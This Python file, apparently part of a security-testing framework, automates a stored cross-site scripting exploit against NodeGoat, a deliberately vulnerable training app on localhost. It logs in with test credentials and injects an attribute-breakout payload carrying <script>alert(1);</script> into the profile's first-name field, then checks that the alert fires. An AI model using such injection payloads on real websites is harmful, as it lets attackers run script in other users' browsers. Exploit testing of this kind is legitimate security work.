from data.exploits.base.BasicExploit import BasicExploit
from settings import mapped_port_host

class Exploit(BasicExploit):

	attributes = {
		  "Name" : "Nodegoat_XSS_Client",
		  "Description" : "",
		  "Target" : "nodegoat",
		  "Container" : "ubuntu-node-mongo",
		  "Type" : ""
	}

	def runExploit(self):
	  wrapper = self.wrapper
	  wrapper.navigate("http://localhost:%s/login" % mapped_port_host)
	  wrapper.find("userName").keys("goat")
	  wrapper.find("password").keys("123")
	  wrapper.find("button.btn.btn-danger").click()
	  
	  wrapper.navigate("http://localhost:%s/profile" % mapped_port_host)
	  wrapper.find("firstName").keys("\"> <script>alert(1);</script> <input id='kkk'")
	  wrapper.find("button.btn.btn-default").click()
	  alert_text = wrapper.handle_alert()
	  self.assertIn("1", alert_text, "Exploit didn't work!")

  
